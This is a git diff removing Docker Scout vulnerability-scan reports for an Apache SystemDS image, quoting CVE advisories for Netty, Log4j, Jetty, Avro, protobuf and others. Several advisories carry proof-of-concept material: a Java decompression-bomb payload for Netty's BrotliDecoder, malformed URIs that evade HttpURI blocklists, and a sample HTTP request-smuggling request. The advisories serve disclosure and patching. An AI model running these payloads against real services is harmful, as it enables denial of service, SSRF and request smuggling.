- -### Summary - -With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. - -### Details - -`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. - -Tested on 4.1.118, but there were no changes to the decoder since. - -### PoC - -Run this test case with `-Xmx1G`: - -```java -import io.netty.buffer.Unpooled; -import io.netty.channel.embedded.EmbeddedChannel; - -import java.util.Base64; - -public class T { - public static void main(String[] args) { - EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); - channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); - } -} -``` - -Error: - -``` -Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) - at java.base/java.nio.Bits.reserveMemory(Bits.java:178) - at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) - at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) - at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) - at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) - at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) - at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) - at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) - at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) - at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) - at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) - at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) - at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) - at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) - at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) - at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) - at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) - at io.netty.handler.codec.compression.T.main(T.java:11) -``` - -### Impact - -DoS for anyone using `BrotliDecoder` on untrusted input. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) - -pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
-medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch - - - - - - - - -
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.244%
EPSS Percentile47th percentile
- -
Description -
- -The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. - -This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: - - * The attacker is able to intercept or redirect network traffic between the client and the log receiver. - * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). - - -Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. - -As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.57.v20241219 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.57.v20241219
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) - -pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
-low 2.0: CVE--2024--23454 Improper Privilege Management - - - - - - - - -
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- -Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) - -pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
-unspecified : CVE--2025--62813 - - - - - - -
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
-
- diff --git a/docker/scout_results/kerby/sysds_output5.md b/docker/scout_results/kerby/sysds_output5.md deleted file mode 100644 index 8e3c7c6e7a4..00000000000 --- a/docker/scout_results/kerby/sysds_output5.md +++ /dev/null @@ -1,3074 +0,0 @@ - i New version 1.19.0 available (installed version is 1.18.3) at https://github.com/docker/scout-cli - ...Storing image for indexing - ✓ Image stored for indexing - ...Indexing - ✓ Indexed 358 packages - ✗ Detected 43 vulnerable packages with a total of 76 vulnerabilities -

:mag: Vulnerabilities of apache/systemds:latest

- -
:package: Image Reference apache/systemds:latest - - - - - -
digestsha256:34aa623b2ccf8cf7a7ed8fa6b1ee890b036a5361e135123cbc9b0671ab6f5554
vulnerabilitiescritical: 3 high: 32 medium: 41 low: 10 unspecified: 1
platformlinux/amd64
size381 MB
packages358
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) - -pkg:maven/io.netty/netty@3.10.6.Final
-critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." - -
-
- -high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
- -
Description -
- -### Impact -The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. - -This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. - -### Impact - -All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. - -### References -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 - -
-
- -high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
- -
Description -
- -### Impact -The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). - - -All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack - -### Workarounds -No workarounds other than not using the `Bzip2Decoder` - -### References - -Relevant code areas: - -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 - -
-
- -medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.325%
EPSS Percentile55th percentile
- -
Description -
- -### Impact - -Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. - -Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. - - - -
-
- -medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.026%
EPSS Percentile7th percentile
- -
Description -
- -### Impact - -When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. - -The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) - -### Vulnerability Details - -On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. - -The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. - -This is the case in netty's `AbstractDiskHttpData` is vulnerable. - -https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 - -`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. - -You may be affected by this vulnerability your project contains the following code patterns: - -```java -channelPipeline.addLast(new HttpPostRequestDecoder(...)); -``` - -```java -channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); -``` - -### Patches - -This has been patched in version `4.1.59.Final`. - -### Workarounds - -Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. - -### References - - - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) - - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) - -### Similar Vulnerabilities - -Similar, but not the same. - - - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp - - Google Guava - https://github.com/google/guava/issues/4011 - - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 - - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 - -### For more information -If you have any questions or comments about this advisory: -* Open an issue in [netty](https://github.com/netty/netty) -* Email us [here](mailto:netty-security@googlegroups.com) - -### Original Report - -> Hi Netty Security Team, -> -> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: -> https://lgtm.com/query/7723301787255288599/ -> -> Netty contains three local information disclosure vulnerabilities, so far as I can tell. -> -> One is here, where the private key for the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 -> -> One is here, where the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 -> -> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 -> -> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. -> -> Impacted OS: -> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. -> -> Mitigation. -> -> Moving to the `Files` API instead will fix this vulnerability. -> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- -> -> This API will explicitly set the posix file permissions to something safe, by default. -> -> I recently disclosed a similar vulnerability in JUnit 4: -> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp -> -> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. -> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 -> -> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. -> https://github.com/netty/netty/security/advisories -> -> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. -> -> Cheers, -> Jonathan Leitschuh - -
-
- -medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score2.547%
EPSS Percentile85th percentile
- -
Description -
- -### Impact -The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 - -This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. - -### Patches -This was fixed as part of 4.1.61.Final - -### Workarounds -Validation can be done by the user before proxy the request by validating the header. - -
-
- -medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
- -
Description -
- -### Impact -If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. -If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. - -In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. - -An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: - -``` -POST / HTTP/2 -:authority:: externaldomain.com -Content-Length: 4 - -asdfGET /evilRedirect HTTP/1.1 -Host: internaldomain.com -``` - -Users are only affected if all of this is `true`: - * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used - * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects - * These HTTP/1.1 objects are forwarded to another remote peer. - - -### Patches -This has been patched in 4.1.60.Final - -### Workarounds -The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. - -### References -Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 - -
-
- -medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. - -
-
-
-
critical: 1 high: 1 medium: 0 low: 0 org.apache.avro/avro 1.11.2 (maven) - -pkg:maven/org.apache.avro/avro@1.11.2
-critical 9.3: CVE--2024--47561 Deserialization of Untrusted Data - - - - - - - - -
Affected range<1.11.4
Fixed version1.11.4
CVSS Score9.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Score0.543%
EPSS Percentile67th percentile
- -
Description -
- -Schema parsing in the Java SDK of Apache Avro 1.11.3 and previous versions allows bad actors to execute arbitrary code. -Users are recommended to upgrade to version 1.11.4 or 1.12.0, which fix this issue. - -
-
- -high 7.5: CVE--2023--39410 Improper Input Validation - - - - - - - - -
Affected range<1.11.3
Fixed version1.11.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.061%
EPSS Percentile19th percentile
- -
Description -
- -When deserializing untrusted or corrupted data, it is possible for a reader to consume memory beyond the allowed constraints and thus lead to out of memory on the system. - -This issue affects Java applications using Apache Avro Java SDK up to and including 1.11.2. Users should update to apache-avro version 1.11.3 which addresses this issue. - -
-
-
-
critical: 1 high: 0 medium: 0 low: 0 zlib 1.3.1-r1 (apk) - -pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
-critical : CVE--2026--22184 - - - - - - -
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.081%
EPSS Percentile24th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.7.1
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. - -### Remediation and Mitigation -We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: -* protobuf-java (3.25.5, 4.27.5, 4.28.2) -* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) -* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) -* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) - -
-
